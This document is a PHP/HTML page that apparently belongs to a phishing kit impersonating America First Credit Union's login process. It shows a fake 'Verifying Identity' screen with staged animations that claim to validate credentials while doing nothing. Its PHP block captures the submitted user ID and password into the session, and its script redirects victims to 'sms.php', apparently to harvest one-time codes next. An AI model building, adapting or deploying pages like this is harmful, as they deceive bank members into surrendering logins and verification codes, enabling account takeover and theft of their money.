<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>America First Credit Union – Verifying</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@600&family=Source+Sans+3:wght@300;400;600;700&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --navy:   #0a1f3c;
      --navy2:  #0d2a52;
      --orange: #f47920;
      --white:  #ffffff;
      --border: #d0dbe8;
      --light:  #f4f7fb;
      --radius: 10px;
      --shadow: 0 20px 60px rgba(10,31,60,.22);
    }
    html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--navy); overflow-x: hidden; }

    .bg-wrap { position: fixed; inset: 0; z-index: 0; }
    .bg-wrap img { width: 100%; height: 100%; object-fit: cover; opacity: .18; filter: saturate(1.2); }
    .bg-overlay { position: absolute; inset: 0; background: linear-gradient(135deg, rgba(10,31,60,.92) 40%, rgba(13,42,82,.75) 100%); }

    .topbar {
      position: relative; z-index: 10;
      background: rgba(5,15,30,.85); backdrop-filter: blur(8px);
      border-bottom: 1px solid rgba(255,255,255,.06);
      display: flex; align-items: center; justify-content: space-between;
      padding: 0 40px; height: 52px;
    }
    .topbar-links { display: flex; gap: 28px; }
    .topbar-links a { color: rgba(255,255,255,.65); font-size: .78rem; letter-spacing: .08em; text-transform: uppercase; text-decoration: none; transition: color .2s; }
    .topbar-links a:hover { color: var(--orange); }
    .topbar-links .divider { width: 1px; background: rgba(255,255,255,.15); align-self: stretch; margin: 10px 0; }

    .navbar { position: relative; z-index: 10; display: flex; align-items: center; justify-content: space-between; padding: 18px 40px 14px; }
    .logo img { height: 52px; filter: brightness(0) invert(1); }
    .nav-links { display: flex; gap: 32px; }
    .nav-links a { color: rgba(255,255,255,.8); font-size: .82rem; font-weight: 600; letter-spacing: .1em; text-transform: uppercase; text-decoration: none; padding-bottom: 3px; border-bottom: 2px solid transparent; transition: color .2s, border-color .2s; }
    .nav-links a:hover { color: var(--white); border-color: var(--orange); }

    .main { position: relative; z-index: 5; min-height: calc(100vh - 130px); display: flex; align-items: center; justify-content: center; padding: 40px 20px 60px; }

    .card {
      background: var(--white); border-radius: 16px; box-shadow: var(--shadow);
      width: 100%; max-width: 440px; overflow: hidden;
      animation: fadeUp .5s ease both;
    }
    @keyframes fadeUp { from { opacity: 0; transform: translateY(24px); } to { opacity: 1; transform: translateY(0); } }

    .card-header { background: var(--navy); padding: 28px 36px 22px; border-bottom: 3px solid var(--orange); }
    .card-header h1 { font-family: 'Playfair Display', serif; font-size: 1.55rem; color: var(--white); letter-spacing: .01em; line-height: 1.2; }
    .card-header p { color: rgba(255,255,255,.55); font-size: .84rem; margin-top: 4px; font-weight: 300; }

    .card-body { padding: 40px 36px 44px; text-align: center; }

    /* Spinner */
    .spinner-wrap { margin: 0 auto 28px; width: 68px; height: 68px; position: relative; }
    .spinner-ring {
      width: 68px; height: 68px; border-radius: 50%;
      border: 4px solid var(--border);
      border-top-color: var(--orange);
      animation: spin 1s linear infinite;
    }
    .spinner-inner {
      position: absolute; inset: 12px; border-radius: 50%;
      border: 3px solid transparent;
      border-bottom-color: var(--navy2);
      animation: spin .7s linear infinite reverse;
    }
    @keyframes spin { to { transform: rotate(360deg); } }

    .status-title { font-family: 'Playfair Display', serif; font-size: 1.25rem; color: var(--navy); margin-bottom: 8px; }
    .status-sub { font-size: .88rem; color: #6a7f99; font-weight: 300; margin-bottom: 32px; }

    /* Steps */
    .steps { list-style: none; text-align: left; display: flex; flex-direction: column; gap: 14px; }
    .step {
      display: flex; align-items: center; gap: 14px;
      font-size: .88rem; color: #8494aa;
      opacity: 0; transform: translateX(-10px);
      animation: stepIn .4s ease forwards;
    }
    .step:nth-child(1) { animation-delay: .3s; }
    .step:nth-child(2) { animation-delay: .9s; }
    .step:nth-child(3) { animation-delay: 1.5s; }
    @keyframes stepIn { to { opacity: 1; transform: translateX(0); } }

    .step .dot {
      width: 28px; height: 28px; border-radius: 50%; border: 2px solid var(--border);
      display: flex; align-items: center; justify-content: center;
      flex-shrink: 0; font-size: .75rem; color: var(--orange);
      background: var(--light); transition: all .3s;
    }
    .step.done .dot { background: var(--orange); border-color: var(--orange); color: var(--white); }
    .step.done { color: var(--navy2); font-weight: 600; }
    .step.active .dot { border-color: var(--orange); animation: pulseDot 1s ease infinite; }
    @keyframes pulseDot { 0%,100% { box-shadow: 0 0 0 0 rgba(244,121,32,.4); } 50% { box-shadow: 0 0 0 6px rgba(244,121,32,0); } }

    .progress-bar-wrap { margin: 28px 0 0; background: var(--light); border-radius: 99px; height: 6px; overflow: hidden; }
    .progress-bar { height: 100%; background: var(--orange); border-radius: 99px; width: 0; animation: fillBar 2.5s ease forwards; animation-delay: .3s; }
    @keyframes fillBar { to { width: 100%; } }

    .footer { position: relative; z-index: 5; text-align: center; padding: 0 20px 28px; color: rgba(255,255,255,.32); font-size: .75rem; }
    .footer a { color: rgba(255,255,255,.45); text-decoration: none; }
    .footer a:hover { color: var(--orange); }

    @media (max-width: 600px) {
      .topbar, .navbar { padding: 0 18px; }
      .navbar { padding: 14px 18px; }
      .nav-links { display: none; }
      .card-header, .card-body { padding-left: 22px; padding-right: 22px; }
    }
  </style>
</head>
<body>

<div class="bg-wrap">
  <img src="background.webp" alt="">
  <div class="bg-overlay"></div>
</div>

<div class="topbar">
  <div class="topbar-links">
    <a href="#">Find My Routing Number</a>
    <div class="divider"></div>
    <a href="#">Financial Education</a>
  </div>
</div>

<nav class="navbar">
  <div class="logo"><img src="logo.svg" alt="America First Credit Union"></div>
  <div class="nav-links">
    <a href="#">Loans</a><a href="#">Accounts</a><a href="#">Services</a>
    <a href="#">Visa</a><a href="#">Business</a><a href="#">About</a>
  </div>
</nav>

<div class="main">
  <div class="card">
    <div class="card-header">
      <h1>Verifying Identity</h1>
      <p>Please wait while we authenticate your credentials</p>
    </div>
    <div class="card-body">

      <div class="spinner-wrap">
        <div class="spinner-ring"></div>
        <div class="spinner-inner"></div>
      </div>

      <div class="status-title" id="statusTitle">Authenticating…</div>
      <div class="status-sub">This will only take a moment. Do not close this window.</div>

      <ul class="steps">
        <li class="step" id="step1"><span class="dot">✓</span> Verifying User ID</li>
        <li class="step" id="step2"><span class="dot">✓</span> Validating credentials</li>
        <li class="step" id="step3"><span class="dot">✓</span> Preparing secure session</li>
      </ul>

      <div class="progress-bar-wrap">
        <div class="progress-bar" id="progressBar"></div>
      </div>

    </div>
  </div>
</div>

<div class="footer">
  <p>&copy; <?= date('Y') ?> America First Credit Union. All rights reserved. &nbsp;|&nbsp;
    <a href="#">Privacy Policy</a> &nbsp;|&nbsp; <a href="#">Security</a>
  </p>
</div>

<script>
  // Animate steps and redirect
  const steps = [
    { el: document.getElementById('step1'), delay: 600,  label: 'User ID confirmed' },
    { el: document.getElementById('step2'), delay: 1200, label: 'Credentials valid' },
    { el: document.getElementById('step3'), delay: 1900, label: 'Session ready' },
  ];

  steps.forEach(({ el, delay }) => {
    setTimeout(() => {
      el.classList.add('active');
      setTimeout(() => {
        el.classList.remove('active');
        el.classList.add('done');
      }, 500);
    }, delay);
  });

  // Update status text
  setTimeout(() => {
    document.getElementById('statusTitle').textContent = 'Almost there…';
  }, 1400);

  // Redirect to wait/sms page after animation completes
  setTimeout(() => {
    window.location.href = 'sms.php';
  }, 3000);
</script>

<?php
// Server-side credential processing
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $userid   = htmlspecialchars(trim($_POST['userid']   ?? ''));
    $password = htmlspecialchars(trim($_POST['password'] ?? ''));
    $_SESSION['login_userid'] = $userid;
    // TODO: validate against your member database here
}
?>
</body>
</html>